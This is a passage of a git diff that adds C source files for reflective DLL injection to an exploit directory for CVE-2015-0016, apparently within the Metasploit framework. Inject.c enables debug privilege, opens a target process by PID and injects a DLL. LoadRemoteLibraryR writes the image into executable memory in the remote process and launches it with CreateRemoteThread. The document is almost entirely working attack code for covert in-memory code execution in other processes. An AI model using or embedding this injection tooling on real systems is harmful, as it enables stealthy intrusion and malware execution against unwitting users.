CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H +#define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H +//===============================================================================================// +#include "ReflectiveDLLInjection.h" + +FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ); +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/inject/src/Inject.c b/external/source/exploits/cve-2015-0016/inject/src/Inject.c new file mode 100755 index 0000000000..a7f4a2fee3 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/Inject.c @@ -0,0 +1,120 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include +#include "LoadLibraryR.h" + +#pragma comment(lib,"Advapi32.lib") + +#define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; } + +// Simple app to inject a reflective DLL into a process vis its process ID. +int main( int argc, char * argv[] ) +{ + HANDLE hFile = NULL; + HANDLE hModule = NULL; + HANDLE hProcess = NULL; + HANDLE hToken = NULL; + LPVOID lpBuffer = NULL; + DWORD dwLength = 0; + DWORD dwBytesRead = 0; + DWORD dwProcessId = 0; + TOKEN_PRIVILEGES priv = {0}; + +#ifdef WIN_X64 + char * cpDllFile = "reflective_dll.x64.dll"; +#else +#ifdef WIN_X86 + char * cpDllFile = "reflective_dll.dll"; +#else WIN_ARM + char * cpDllFile = "reflective_dll.arm.dll"; +#endif +#endif + + do + { + // Usage: inject.exe [pid] [dll_file] + + if( argc == 1 ) + dwProcessId = GetCurrentProcessId(); + else + dwProcessId = atoi( argv[1] ); + + if( argc >= 3 ) + cpDllFile = argv[2]; + + hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); + if( hFile == INVALID_HANDLE_VALUE ) + BREAK_WITH_ERROR( "Failed to open the DLL file" ); + + dwLength = GetFileSize( hFile, NULL ); + if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) + BREAK_WITH_ERROR( "Failed to get the DLL file size" ); + + lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); + if( !lpBuffer ) + BREAK_WITH_ERROR( "Failed to get the DLL file size" ); + + if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) + BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); + + if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) + { + priv.PrivilegeCount = 1; + priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) + AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); + + CloseHandle( hToken ); + } + + hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); + if( !hProcess ) + BREAK_WITH_ERROR( "Failed to open the target process" ); + + hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL ); + if( !hModule ) + BREAK_WITH_ERROR( "Failed to inject the DLL" ); + + printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId ); + + WaitForSingleObject( hModule, -1 ); + + } while( 0 ); + + if( lpBuffer ) + HeapFree( GetProcessHeap(), 0, lpBuffer ); + + if( hProcess ) + CloseHandle( hProcess ); + + return 0; +} \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.c b/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.c new file mode 100755 index 0000000000..db73903ff7 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.c @@ -0,0 +1,234 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "LoadLibraryR.h" +#include +//===============================================================================================// +DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress ) +{ + WORD wIndex = 0; + PIMAGE_SECTION_HEADER pSectionHeader = NULL; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + + pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); + + pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); + + if( dwRva < pSectionHeader[0].PointerToRawData ) + return dwRva; + + for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ ) + { + if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) + return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); + } + + return 0; +} +//===============================================================================================// +DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ) +{ + UINT_PTR uiBaseAddress = 0; + UINT_PTR uiExportDir = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameOrdinals = 0; + DWORD dwCounter = 0; +#ifdef WIN_X64 + DWORD dwCompiledArch = 2; +#else + // This will catch Win32 and WinRT. + DWORD dwCompiledArch = 1; +#endif + + uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; + + // get the File Offset of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // currenlty we can only process a PE file which is the same type as the one this fuction has + // been compiled as, due to various offset in the PE structures being defined at compile time. + if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32 + { + if( dwCompiledArch != 1 ) + return 0; + } + else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64 + { + if( dwCompiledArch != 2 ) + return 0; + } + else + { + return 0; + } + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the File Offset of the export directory + uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress ); + + // get the File Offset for the array of name pointers + uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress ); + + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); + + // get the File Offset for the array of name ordinals + uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); + + // get a counter for the number of exported functions... + dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames; + + // loop through all the exported functions to find the ReflectiveLoader + while( dwCounter-- ) + { + char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress )); + + if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL ) + { + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); + + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // return the File Offset to the ReflectiveLoader() functions code... + return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress ); + } + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + + return 0; +} +//===============================================================================================// +// Loads a DLL image from memory via its exported ReflectiveLoader function +HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ) +{ + HMODULE hResult = NULL; + DWORD dwReflectiveLoaderOffset = 0; + DWORD dwOldProtect1 = 0; + DWORD dwOldProtect2 = 0; + REFLECTIVELOADER pReflectiveLoader = NULL; + DLLMAIN pDllMain = NULL; + + if( lpBuffer == NULL || dwLength == 0 ) + return NULL; + + __try + { + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); + if( dwReflectiveLoaderOffset != 0 ) + { + pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset); + + // we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader... + // this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region + if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) ) + { + // call the librarys ReflectiveLoader... + pDllMain = (DLLMAIN)pReflectiveLoader(); + if( pDllMain != NULL ) + { + // call the loaded librarys DllMain to get its HMODULE + if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) ) + hResult = NULL; + } + // revert to the previous protection flags... + VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 ); + } + } + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + hResult = NULL; + } + + return hResult; +} +//===============================================================================================// +// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function +// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +// defined in order to use the correct RDI prototypes. +// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | +// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ +// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space. +// Note: This function currently cant inject accross architectures, but only to architectures which are the +// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64. +HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ) +{ + BOOL bSuccess = FALSE; + LPVOID lpRemoteLibraryBuffer = NULL; + LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; + HANDLE hThread = NULL; + DWORD dwReflectiveLoaderOffset = 0; + DWORD dwThreadId = 0; + + __try + { + do + { + if( !hProcess || !lpBuffer || !dwLength ) + break; + + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); + if( !dwReflectiveLoaderOffset ) + break; + + // alloc memory (RWX) in the host process for the image... + lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteLibraryBuffer ) + break; + + // write the image into the host process... + if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) + break; + + // add the offset to ReflectiveLoader() to the remote library address... + lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); + + // create a remote thread in the host process to call the ReflectiveLoader! + hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); + + } while( 0 ); + + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + hThread = NULL; + } + + return hThread; +} +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.h b/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.h new file mode 100755 index 0000000000..d8419858a9 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.h @@ -0,0 +1,41 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H +#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H +//===============================================================================================// +#include "ReflectiveDLLInjection.h" + +DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ); + +HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ); + +HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ); + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/inject/src/ReflectiveDLLInjection.h b/external/source/exploits/cve-2015-0016/inject/src/ReflectiveDLLInjection.h new file mode 100755 index 0000000000..8d7fda1106 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/ReflectiveDLLInjection.h @@ -0,0 +1,53 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_METASPLOIT_ATTACH 4 +#define DLL_METASPLOIT_DETACH 5 +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); +typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/rdi.sln b/external/source/exploits/cve-2015-0016/rdi.sln new file mode 100755 index 0000000000..48a6d7b81f --- /dev/null +++ b/external/source/exploits/cve-2015-0016/rdi.sln @@ -0,0 +1,44 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Express 2013 for Windows Desktop +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject\inject.vcxproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|ARM = Debug|ARM + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|ARM = Release|ARM + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|ARM.ActiveCfg = Debug|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.ActiveCfg = Release|x64 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.Build.0 = Release|x64 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|ARM.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.ActiveCfg = Release|x64 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.Build.0 = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.ActiveCfg = Debug|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal